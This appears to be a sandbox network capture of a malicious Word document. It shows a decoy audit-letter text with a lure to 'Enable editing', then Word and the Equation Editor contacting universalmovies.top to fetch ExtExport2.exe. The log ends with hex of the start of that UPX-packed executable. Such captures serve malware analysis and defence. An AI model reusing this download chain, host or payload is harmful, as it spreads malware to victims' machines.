2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 74 68 65 20 65 78 74 65 6e 74 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 70 6c 61 6e 20 74 68 65 20 61 75 64 69 74 2e 20 41 75 64 69 74 6f 72 73 20 75 73 65 20 74 68 69 73 20 75 6e 64 65 72 73 74 61 6e 64 69 6e 67 20 6f 66 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 61 73 73 65 73 73 20 74 68 65 20 72 69 73 6b 20 6f 66 20 6d 61 74 65 72 69 61 6c 20 6d 69 73 73 74 61 74 65 6d 65 6e 74 20 6f 66 20 74 68 65 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 61 6e 64 20 74 6f 20 64 65 73 69 67 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 61 75 64 69 74 20 70 72 6f 63 65 64 75 72 65 73 20 74 6f 20 6d 69 6e 69 6d 69 7a 65 20 74 68 61 74 20 72 69 73 6b 2e 54 68 65 20 64 Data Ascii: nternal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The d
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 78 61 6d 70 6c 65 20 6f 66 20 61 20 64 65 66 69 63 69 65 6e 63 79 20 69 6e 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 74 68 61 74 92 73 20 73 65 76 65 72 65 20 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 63 6f 6e 73 69 64 65 72 65 64 20 61 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 20 6f 72 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 79 20 69 73 20 77 68 65 6e 20 61 6e 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 6c 61 63 6b 73 20 74 68 65 20 6b 6e 6f 77 6c 65 64 67 65 20 61 6e 64 20 74 72 61 69 6e 69 6e 67 20 74 6f 20 70 72 65 70 61 72 65 20 69 74 73 20 6f 77 6e 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 2c 20 69 6e 63 6c 75 64 69 6e 67 20 66 6f 6f 74 6e 6f 74 65 20 64 69 73 63 6c 6f 73 75 72 65 73 Data Ascii: xample of a deficiency in internal control thats severe enough to be considered a material weakness or significant deficiency is when an organization lacks the knowledge and training to prepare its own financial statements, including footnote disclosures
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 63 6f 6e 74 72 6f 6c 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 64 65 6e 74 69 66 69 65 64 20 64 75 72 69 6e 67 20 74 68 65 20 61 75 64 69 74 20 74 68 61 74 20 61 72 65 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 73 65 76 65 72 65 20 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 6f 72 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 65 73 20 6e 65 65 64 20 6e 6f 74 20 62 65 20 63 6f 6d 6d 75 6e 69 63 61 74 65 64 20 69 6e 20 77 72 69 74 69 6e 67 2e 20 49 66 20 61 75 64 69 74 6f 72 73 20 64 65 74 65 72 6d 69 6e 65 20 74 68 65 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 61 72 65 20 69 6d 70 6f 72 74 61 6e 74 20 65 6e 6f 75 67 68 20 74 6f 20 6d 65 72 69 74 20 6d 61 6e 61 67 65 6d 65 Data Ascii: control deficiencies identified during the audit that are not considered severe enough to be significant deficiencies or material weaknesses need not be communicated in writing. If auditors determine the deficiencies are important enough to merit manageme
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 20 61 6e 20 61 75 64 69 74 2c 20 74 68 65 20 61 75 64 69 74 6f 72 73 20 6d 69 67 68 74 20 61 6c 73 6f 20 69 64 65 6e 74 69 66 79 20 6f 74 68 65 72 20 6d 61 74 74 65 72 73 20 74 68 61 74 20 61 72 65 6e 92 74 20 63 6f 6e 73 69 64 65 72 65 64 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 6e 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 2c 20 62 75 74 20 61 72 65 20 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 20 66 6f 72 20 73 74 72 65 6e 67 74 68 65 6e 69 6e 67 20 70 72 6f 63 65 64 75 72 65 73 20 61 6e 64 2f 6f 72 20 6f 70 65 72 61 74 69 6e 67 20 64 65 66 69 63 69 65 6e 63 69 65 73 2e 20 54 68 65 72 65 20 69 73 20 6e 6f 20 72 65 71 75 69 72 65 6d 65 6e 74 20 66 6f 72 20 74 68 65 20 61 75 64 69 74 6f 72 73 20 74 6f 20 63 6f 6d 6d 75 6e 69 63 61 74 65 20 6f 74 Data Ascii: an audit, the auditors might also identify other matters that arent considered deficiencies in internal control, but are opportunities for strengthening procedures and/or operating deficiencies. There is no requirement for the auditors to communicate ot
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 68 65 20 4d 61 6e 61 67 65 6d 65 6e 74 20 4c 65 74 74 65 72 20 63 61 6e 20 62 65 20 61 20 62 65 6e 65 66 69 63 69 61 6c 20 74 6f 6f 6c 20 66 6f 72 20 61 73 73 69 73 74 69 6e 67 20 6d 61 6e 61 67 65 6d 65 6e 74 20 6f 72 20 74 68 6f 73 65 20 63 68 61 72 67 65 64 20 77 69 74 68 20 67 6f 76 65 72 6e 61 6e 63 65 20 69 6e 20 66 75 6c 66 69 6c 6c 69 6e 67 20 74 68 65 69 72 20 72 65 73 70 6f 6e 73 69 62 69 6c 69 74 69 65 73 25 34 34 25 36 46 25 36 33 25 37 35 25 36 44 25 36 35 25 36 45 25 37 34 25 32 30 25 36 33 25 37 32 25 36 35 25 36 31 25 37 34 25 36 35 25 36 34 25 32 30 25 36 39 25 36 45 25 32 30 25 36 35 25 36 31 25 37 32 25 36 43 25 36 39 25 36 35 25 37 32 25 32 30 25 37 36 25 36 35 25 37 32 25 37 33 25 36 39 25 36 46 25 36 45 25 32 30 25 36 44 25 36 39 25 Data Ascii: he Management Letter can be a beneficial tool for assisting management or those charged with governance in fulfilling their responsibilities%44%6F%63%75%6D%65%6E%74%20%63%72%65%61%74%65%64%20%69%6E%20%65%61%72%6C%69%65%72%20%76%65%72%73%69%6F%6E%20%6D%69%
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 32 25 36 46 25 36 34 25 37 35 25 36 33 25 37 34 25 37 33 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 37 33 25 36 35 25 37 32 25 37 36 25 36 39 25 36 33 25 36 35 25 37 33 25 32 45 25 32 30 25 34 37 25 37 35 25 36 35 25 37 32 25 36 39 25 36 43 25 36 43 25 36 31 25 32 30 25 36 44 25 36 31 25 37 32 25 36 42 25 36 35 25 37 34 25 36 39 25 36 45 25 36 37 25 32 30 25 37 33 25 37 34 25 37 32 25 36 31 25 37 34 25 36 35 25 36 37 25 37 39 25 32 30 25 36 39 25 37 33 25 32 30 25 37 30 25 37 35 25 36 32 25 36 43 25 36 39 25 36 33 25 36 39 25 37 34 25 37 39 25 32 30 25 37 30 25 37 32 25 36 31 25 36 33 25 37 34 25 36 39 25 36 33 25 36 35 25 37 33 25 32 43 25 32 30 25 36 43 25 36 46 25 37 37 25 32 44 25 36 33 25 36 46 25 37 33 25 37 34 25 32 30 25 36 44 25 36 31 25 37 Data Ascii: 2%6F%64%75%63%74%73%20%61%6E%64%20%73%65%72%76%69%63%65%73%2E%20%47%75%65%72%69%6C%6C%61%20%6D%61%72%6B%65%74%69%6E%67%20%73%74%72%61%74%65%67%79%20%69%73%20%70%75%62%6C%69%63%69%74%79%20%70%72%61%63%74%69%63%65%73%2C%20%6C%6F%77%2D%63%6F%73%74%20%6D%61%7
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 25 36 31 25 36 45 25 36 34 25 32 30 25 36 32 25 36 43 25 36 43 25 32 30 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 45 6e 61 62 6c 65 20 65 64 69 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 79 65 6c 6c 6f 77 20 62 61 72 20 61 62 6f 76 65 2e 54 68 65 20 69 6e 64 65 70 65 6e 64 65 6e 74 20 61 75 64 69 74 6f 72 73 92 20 6f 70 69 6e 69 6f 6e 20 73 61 79 73 20 74 68 65 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 61 72 65 20 66 61 69 72 6c 79 20 73 74 61 74 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 62 61 73 69 73 20 6f 66 20 61 63 63 6f 75 6e 74 69 6e 67 20 75 73 65 64 20 62 79 20 79 6f 75 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 53 6f 20 77 68 79 20 61 72 65 20 74 68 65 20 61 75 64 69 74 6f 72 73 20 67 Data Ascii: %61%6E%64%20%62%6C%6C%20please click Enable editing from the yellow bar above.The independent auditors opinion says the financial statements are fairly stated in accordance with the basis of accounting used by your organization. So why are the auditors g
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 64 69 74 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 77 68 65 74 68 65 72 20 74 68 65 20 64 65 66 69 63 69 65 6e 63 79 2c 20 6f 72 20 61 20 63 6f 6d 62 69 6e 61 74 69 6f 6e 20 6f 66 20 64 65 66 69 63 69 65 6e 63 69 65 73 2c 20 69 73 20 73 65 76 65 72 65 20 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 63 6f 6e 73 69 64 65 72 65 64 20 61 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 20 6f 72 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 79 2e 20 49 6e 20 61 73 73 65 73 73 69 6e 67 20 74 68 65 20 64 65 66 69 63 69 65 6e 63 79 2c 20 61 75 64 69 74 6f 72 73 20 63 6f 6e 73 69 64 65 72 20 74 68 65 20 6d 61 67 6e 69 74 75 64 65 20 6f 66 20 70 6f 74 65 6e 74 69 61 6c 20 6d 69 73 73 74 61 74 65 6d 65 6e 74 73 20 6f 66 20 79 6f 75 72 20 66 69 6e Data Ascii: dit to determine whether the deficiency, or a combination of deficiencies, is severe enough to be considered a material weakness or significant deficiency. In assessing the deficiency, auditors consider the magnitude of potential misstatements of your fin
2024-06-24 16:23:10 UTC	1369	IN	Data Raw: 74 20 65 6d 70 6c 6f 79 65 65 73 20 6f 72 20 62 79 20 68 69 72 69 6e 67 20 61 64 64 69 74 69 6f 6e 61 6c 20 65 6d 70 6c 6f 79 65 65 73 20 6f 72 20 61 6e 6f 74 68 65 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 74 6f 20 70 72 65 70 61 72 65 20 74 68 65 6d 2e 20 4e 6f 6e 70 72 6f 66 69 74 73 20 6d 61 79 20 6f 70 74 20 74 6f 20 64 6f 63 75 6d 65 6e 74 20 74 68 65 69 72 20 65 78 70 6c 61 6e 61 74 69 6f 6e 20 76 69 61 20 61 20 4d 61 6e 61 67 65 6d 65 6e 74 20 52 65 73 70 6f 6e 73 65 20 69 6e 20 74 68 65 20 77 72 69 74 74 65 6e 20 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2e 20 52 65 67 61 72 64 6c 65 73 73 20 6f 66 20 74 68 65 20 65 78 70 6c 61 6e 61 74 69 6f 6e 2c 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 65 73 20 61 6e 64 20 73 69 67 6e Data Ascii: t employees or by hiring additional employees or another service provider to prepare them. Nonprofits may opt to document their explanation via a Management Response in the written communication. Regardless of the explanation, material weaknesses and sign

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49172	104.21.74.191	443	2780	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:11 UTC	152	OUT	HEAD /notorious.doc HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: universalmovies.top Content-Length: 0 Connection: Keep-Alive
2024-06-24 16:23:11 UTC	840	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:23:11 GMT Content-Type: application/msword Content-Length: 618938 Connection: close Last-Modified: Mon, 24 Jun 2024 08:04:45 GMT ETag: "6679289d-971ba" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 4727 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LaYey8JRlZOqq9pmCIOh4K%2Fs6%2FWjvmevfYpTTthTr%2Fv0qBufoIPKRpP0aMFCaUvXUl0aP58oSiZLIxTgZWL5M1pWaLdc7kjVzP9kwJp4edDBqQ3cMDD%2FpA3C2zaXUWc9T4lx3ggY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f996cdc42c0-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49173	104.21.74.191	443	3404	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:12 UTC	320	OUT	GET /ExtExport2.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: universalmovies.top Connection: Keep-Alive
2024-06-24 16:23:12 UTC	841	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:23:12 GMT Content-Type: application/octet-stream Content-Length: 644096 Connection: close Last-Modified: Mon, 24 Jun 2024 07:55:16 GMT ETag: "66792664-9d400" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 27528 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D7mqhg2hELFBTXpySojdKzUwP9wDyFoEYhW9cqp2BBRoxtqUrAR9A3IOgF2ridi29YPMvGnMu9MsuPdsGOcAIJ1nhodX5fRMVGjjQDZ%2FgpWgWhAnJitYFSYHysay4iLe1EuM7aQE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0fa0096942be-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:12 UTC	528	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 92 92 52 12 fc c1 52 12 fc c1 52 12 fc c1 14 43 1d c1 50 12 fc c1 cc b2 3b c1 53 12 fc c1 5f 40 23 c1 61 12 fc c1 5f 40 1c c1 e3 12 fc c1 5f 40 1d c1 67 12 fc c1 5b 6a 7f c1 5b 12 fc c1 5b 6a 6f c1 77 12 fc c1 52 12 fd c1 72 10 fc c1 e7 8c 16 c1 02 12 fc c1 e7 8c 23 c1 53 12 fc c1 5f 40 27 c1 53 12 fc c1 52 12 6b c1 53 12 fc c1 e7 8c 22 c1 53 12 fc c1 52 69 63 68 52 12 fc Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sRRRCP;S_@#a_@_@g[j[[jowRr#S_@'SRkS"SRichR
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 00 80 0c 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 70 05 00 00 90 0c 00 00 64 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 70 04 00 00 00 12 00 00 6c 04 00 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UPX1pd@.rsrcplh@
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 07 37 60 0a 38 06 b7 ae dd 21 8b 00 90 f0 af 39 18 05 8b 39 a8 6e 47 0e 1a 00 ec 94 50 eb 86 50 f0 eb df 3c 5e 05 1f 13 10 cc f8 1a 80 90 e2 ee 37 12 db 43 c7 45 fc fe d5 89 5d f0 b1 5a 6b 5b dc 40 0c 88 1d 17 eb 6f 84 f0 42 53 0a fc 58 b4 eb db 04 f8 57 8f 39 5c 7e 34 fc 8d 86 83 17 18 76 01 8d 56 26 9e f7 d9 89 55 85 b7 fd 0a 7e 80 38 08 73 53 83 44 40 26 05 f0 f7 a4 03 c1 30 77 6c 37 c1 3b 46 da 1e 7c e2 8b 0e 3b d8 4c 2b c3 50 fe df ff 66 77 03 10 43 02 8d 04 c6 50 57 ed 24 8b 76 04 85 f6 75 8d bf 47 70 f0 d8 57 b1 e3 81 c1 99 c8 3b 87 d0 ee fe d9 74 20 2b cb 8d 83 7b 51 03 c6 7d b0 dc fe df 95 55 8d 99 f1 5c 8a 08 03 d8 80 f9 14 74 44 08 08 75 4c c3 8d 35 37 2e f8 83 f9 0c b9 20 71 ad 3e 85 61 56 02 18 40 04 bd 1e 2d 37 0d 05 74 fc 6c f0 50 51 57 6f Data Ascii: 7`8!99nGPP<^7CE]Zk[@oBSXW9\~4vV&U~8sSD@&0wl7;F\|;L+PfwCPW$vuGpW;t +{Q}U\tDuL57. q>aV@-7tlPQWo
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 8e 68 2f e4 47 01 5f 89 68 5e d4 15 d3 b4 97 b8 08 8d 4d 10 22 2b 1a 14 d2 f7 61 d1 4b 14 eb c8 c8 eb 9a d3 18 a0 85 6d 75 c0 81 c9 94 d2 aa 75 61 45 43 47 dc 25 53 bf 04 72 2c 88 da 34 4d 80 3a 04 24 20 1c 51 bf b8 33 26 53 50 37 20 8b f0 8a 24 38 5d 34 5f fd d3 15 e0 53 6a 11 4b 14 50 6a 30 2d e6 88 30 90 f9 e0 39 9f 8c 77 71 9f 00 68 88 57 fc 14 30 00 25 5c f7 ff eb 98 09 38 4a dc f6 07 83 57 80 7e 3a 4a 85 6d 56 3a b1 12 0e 45 a2 83 71 1a 8d 45 bc 29 f8 3a 80 36 95 34 52 d4 d8 8b 56 44 e0 47 74 34 06 48 76 10 5e 55 f8 89 b5 b8 0a 83 50 ee 98 4f bc a9 5e f8 ee ad f1 0e 83 be e0 9a 68 18 81 33 62 c5 db 1c 3d 45 80 4d cc 2b c1 8a d8 89 6b a7 69 3f fc d0 2b d0 c4 e8 e4 94 f0 a6 05 28 f8 40 e4 53 f8 e4 ba 0f 0e c3 ad e0 af 45 f8 30 e8 60 ec 99 f7 8e 42 3c Data Ascii: h/G_h^M"+aKmuuaECG%Sr,4M:$ Q3&SP7 $8]4_SjKPj0-09wqhW0%\8JW~:JmV:EqE):64RVDGt4Hv^UPO^h3b=EM+ki?+(@SE0`B<
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 80 c8 82 23 75 f2 8d b7 f8 7a 7c e4 7d fc 50 97 20 24 24 12 ac 78 f4 95 ff de 46 89 0d b3 24 8b c6 ff 05 8b 0c b1 89 39 a7 12 6c 68 5d 49 b8 4f 04 24 eb 6a 03 85 38 bf fe 5e 33 ff 3b ce 7e 0d f3 24 b4 23 6e 3d f6 60 e7 74 b7 df eb ac e6 05 1e fe db eb c3 62 eb 85 46 3b f1 7c d1 eb d6 db 72 cf f1 0b 26 e4 d2 6a eb ef 5c 3b 47 3f 38 69 c3 78 73 8a 4f 74 cd e6 0a 39 31 39 62 6f c3 75 06 0d 82 f5 6d 64 d0 a6 15 52 60 06 33 db 77 bf 6f fe c2 57 cc 02 56 33 c0 89 1d 18 b8 40 88 0d bc 57 83 61 03 18 e0 cf ff a2 69 73 f0 a3 7d 97 ee 1b 36 3f c0 15 c8 d0 0b d4 cb 77 69 66 c8 16 d8 dc 0b e0 6f 78 00 be e4 8f e8 63 36 6a 7c 58 66 62 34 92 75 75 c4 ce ad 0c 5e 6c f9 0c b8 18 50 42 0b 14 22 df ec 7c 2d 67 1c 43 20 2b 24 0b 28 19 7c 2f 2e 2c 23 30 43 34 71 be cb e5 f2 Data Ascii: #uz\|}P $$xF$9lh]IO$j8^3;~$#n=`tbF;\|r&j\;G?8ixsOt919boumdR`3woWV3@Wais}6?wifoxc6j\|Xfb4uu^lPB"\|-gC +$(\|/.,#0C4q
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 40 13 18 0c 6b 16 64 59 fc 09 30 da 3b c3 d5 7c 1d 0f 87 63 a2 c7 b4 27 24 95 3e 15 42 6d 08 1e ee 87 41 1e d7 e2 a7 56 56 53 3f c7 6c 13 d0 2d fe a8 a8 c6 4d 28 88 96 cf 88 8e 91 f6 a5 09 e7 0b 1c a3 7c 48 f6 c1 01 4e 14 9d a6 9d a6 10 04 f4 82 d8 a8 ff 5c 4a 86 de 95 0d af 80 bb 98 ad 01 df 7a 01 c1 12 7b 60 31 0a 54 2c 74 0b 35 36 af 57 6a eb b4 14 3c 45 07 3a e6 2c 8a f4 c7 fe 4b 60 57 cb 34 18 5c e6 1e 3f ff 73 50 5e 69 ff 00 7c 7a bc eb c4 14 54 78 b0 eb bf dd 70 35 06 2e b0 c0 64 03 bb fa f3 3c cf b3 06 bc 18 36 54 72 90 cf 7b 36 cf cc ea bd 1e 56 0e 92 ae 79 ef d9 3c d4 c0 7b be 06 e4 0e fd 7b 78 cf b3 be 19 3a a4 06 c2 3e c7 1e 9e e7 3d cf 7f 2c 4a 2e 68 86 26 18 aa af ef a6 86 be d5 7d b8 77 46 97 be f8 75 16 8b 4e 6c 36 5e a9 66 c7 40 7e 96 91 Data Ascii: @kdY0;\|c'$>BmAVVS?l-M(\|HN\Jz{`1T,t56Wj<E:,K`W4\?sP^i\|zTxp5.d<6Tr{6Vy<{{x:>=,J.h&}wFuNl6^f@~
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 9c f5 bf 25 ff 01 f0 d4 a5 99 c1 3a ef 8d 32 2c c4 69 2b 12 64 24 2c 85 2f 03 e6 42 07 57 bc 33 10 80 db ed 34 c1 9e 6e 44 2f c8 48 74 23 a0 85 c6 70 40 0c 80 9b 5a 49 ba d2 a6 03 dd 90 34 c7 1c 10 1c 53 54 fc 34 c3 6a 30 ee 38 45 18 3d f0 01 23 01 f5 09 90 0c 76 bf dd 00 a3 ef 75 d3 27 10 a3 25 eb c6 00 24 3a cc 0d 68 9d 35 db a8 7d 67 e0 19 c5 08 eb aa bc 33 56 0a 43 27 dc 35 2d eb 99 6d 64 0e 72 8b ab 4e e1 8d 4d a4 78 a0 99 3c 6f 5a 7b 6f 1c a0 c7 45 b4 e0 68 28 b8 04 bc c0 88 5d c4 7c 87 66 7d 3a 2d 3f ec be c5 8a 45 c4 88 01 af 7d 68 0b fd 38 60 96 88 66 e0 18 6f a6 35 57 85 3d d0 35 41 1e c8 72 d4 83 0f 7d 9a d8 dc 3f 39 c2 c0 e8 40 17 03 64 51 4a 2d e9 76 b6 c3 33 36 a4 50 2c 17 83 e6 99 70 6a 6e 6c 07 33 f6 34 d0 56 9c 0c e0 05 e7 db f6 d5 76 1c Data Ascii: %:2,i+d$,/BW34nD/Ht#p@ZI4ST4j08E=#vu'%$:h5}g3VC'5-mdrNMx<oZ{oEh(]\|f}:-?E}h8`fo5W=5Ar}?9@dQJ-v36P,pjnl34Vv
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 4f 51 8b 45 08 8b 08 48 04 89 4a 04 0a 08 02 31 0a de 1e 40 0c 89 42 54 00 a3 01 15 31 31 a1 9d 98 34 28 c6 3f 8a c1 e0 02 50 24 57 31 7c 18 26 c2 62 37 1c 40 18 47 17 a3 e2 c6 75 68 9f 95 c2 27 a4 75 46 59 1c 34 56 f0 c2 e8 be a1 10 20 b9 1b 8b a8 36 79 31 de be f8 42 08 51 fd 36 61 4d 75 da d9 38 68 72 e0 53 2a 3e d9 6d 95 71 05 30 8c a8 3d 8d 4f 71 82 05 ba c7 66 14 9e 7d fc 24 c6 85 31 f1 04 05 84 01 d1 53 dd 40 05 38 86 37 86 8b 84 ab 99 2b 75 8d 5a c3 4c c7 64 38 dd 30 d2 5a 44 34 80 83 c6 04 08 9f 72 ef 05 ee 60 7c ef 68 2a 30 09 60 32 fc b8 54 ba 0f 1d 3c 38 5e 68 30 39 63 08 56 3f a6 06 16 87 44 d0 45 a5 1e e0 f5 81 ec cc 8e 71 88 64 10 ae 81 a6 26 d7 d6 04 5f 23 01 b0 7c a8 a3 72 3b 87 a2 33 cc a6 01 5c 99 94 3b 24 b8 cb db 4b 82 18 50 43 6d 28 Data Ascii: OQEHJ1@BT114(?P$W1\|&b7@Guh'uFY4V 6y1BQ6aMu8hrS>mq0=Oqf}$1S@87+uZLd80ZD4r`\|h0`2T<8^h09cV?DEqd&_#\|r;3\;$KPCm(
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: 2c 91 a7 5e 56 56 a8 74 c0 0a cd bb 44 c3 a4 8d 64 80 8c 01 22 06 30 e2 25 85 74 14 32 f0 03 9d dc 4f a6 33 ff a3 91 96 6f fe 35 08 5f 46 0d 70 04 08 06 10 89 74 24 14 e0 4a cf f3 16 18 20 24 95 7b 80 17 30 36 28 06 00 f9 08 df fa a9 bb e0 64 62 05 71 bc 97 b0 32 25 a8 59 7a 88 6b 76 6f 26 10 0d f6 98 3a 57 1a c0 fd 03 53 2b 48 a1 23 42 e9 24 81 6e 86 57 68 01 0c c1 40 6a 90 1d 9c fe 24 18 c9 36 04 6d 82 3e f7 c6 27 4a 65 ad f7 16 f3 79 85 2f bb 57 33 ad 54 6a 0c db f0 0e 74 12 d3 90 89 b4 40 e5 ba 35 4b b8 09 26 b4 eb ef 51 2a e8 13 83 53 cb 48 e2 4e d7 51 08 8a de 5e 31 aa 17 ab 25 56 2f d7 57 c0 45 fc 53 16 54 03 c1 50 53 a0 36 dc c1 02 5b 60 26 41 2a 68 53 53 65 81 8f 99 eb 89 06 29 5f 8b 58 42 17 7d 2e 64 a8 01 9e 83 c8 01 c0 83 4b c8 56 a0 20 9f 0b Data Ascii: ,^VVtDd"0%t2O3o5_Fpt$J ${06(dbq2%Yzkvo&:WS+H#B$nWh@j$6m>'Jey/W3Tjt@5K&QSHNQ^1%V/WESTPS6[`&AhSSe)_XB}.dKV
2024-06-24 16:23:12 UTC	1369	IN	Data Raw: ef f8 ff dc 7d ec d8 d2 df e0 f6 c4 41 02 d9 cb d8 d1 15 f6 dd 6d 9e 61 3b 8c ba 1c db dd da 37 22 de d9 57 9e 25 f8 33 74 14 9a 62 08 41 40 40 7c fc 4e 75 0b 5b de eb e9 dd d9 dd d8 4d aa df f8 4e 02 83 f9 02 72 43 6a 00 58 d6 f8 2f 4c 05 f2 49 c2 0a 8a 3c 3a 8a 5c 3a 01 69 6f 3d 3a da 84 42 e8 8b 4e 0e f4 55 e3 fd c3 d8 19 3b d1 72 de 0e 17 7a 1a 7b 23 62 85 c6 33 de 20 ef ae 95 f1 cc 6d 6a 06 d2 03 ce 49 0d 5f 8b 60 17 03 51 d3 54 2c b3 01 f0 ff bb 87 57 b2 18 d9 14 38 40 84 d2 74 3e 80 fa 7f 77 16 3b c6 81 83 56 cb 84 ae 56 b8 2c 9b f6 76 08 b5 8d 4a 3a f9 1d 76 22 0e 20 0f 76 6f 66 37 c7 24 80 6e 5a 04 76 26 40 96 45 80 39 9f 41 77 4a 68 eb c0 ba 1f ce 4f ba 02 3e 6a 90 63 13 03 b8 72 eb a8 eb 4a 3c 24 5d 02 90 72 0c 8a 0a 60 55 84 f0 20 1a 08 2e 22 Data Ascii: }Ama;7"W%3tbA@@\|Nu[MNrCjX/LI<:\:io=:BNU;rz{#b3 mjI_`QT,W8@t>w;VV,vJ:v" vof7$nZv&@E9AwJhO>jcrJ<$]r`U ."

